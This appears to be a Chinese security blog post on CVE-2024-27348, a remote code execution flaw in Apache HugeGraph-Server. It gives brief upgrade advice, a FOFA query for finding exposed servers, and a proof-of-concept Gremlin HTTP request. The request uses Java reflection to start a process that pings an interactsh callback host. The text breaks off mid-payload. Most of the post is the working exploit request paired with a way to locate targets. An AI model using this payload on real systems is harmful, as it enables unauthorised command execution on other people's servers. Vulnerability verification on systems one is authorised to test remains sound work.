Apache-HugeGraph-Server远程代码执行漏洞(CVE-2024-27348)

最新推荐文章于 2025-06-04 19:51:30 发布

原创

最新推荐文章于 2025-06-04 19:51:30 发布 · 339 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#apache #web安全 #安全威胁分析 #漏洞复现 #漏洞库

Apache HugeGraph-Server 中的 RCE-远程命令执行漏洞。此问题影响 Apache HugeGraph-Server：Java8 和 Java11 中 1.3.0 之前的 1.0.0 建议用户升级到 Java11 版本 1.3.0 并启用身份验证系统，这解决了这个问题。

fofa

app="HugeGraph-Studio"

poc

POST /gremlin HTTP/1.1
Host: {
  
  {Hostname}}
Content-Type: application/json

{"gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"SL7\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"ping\", \"{
  
  {interactsh-url}}\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(proces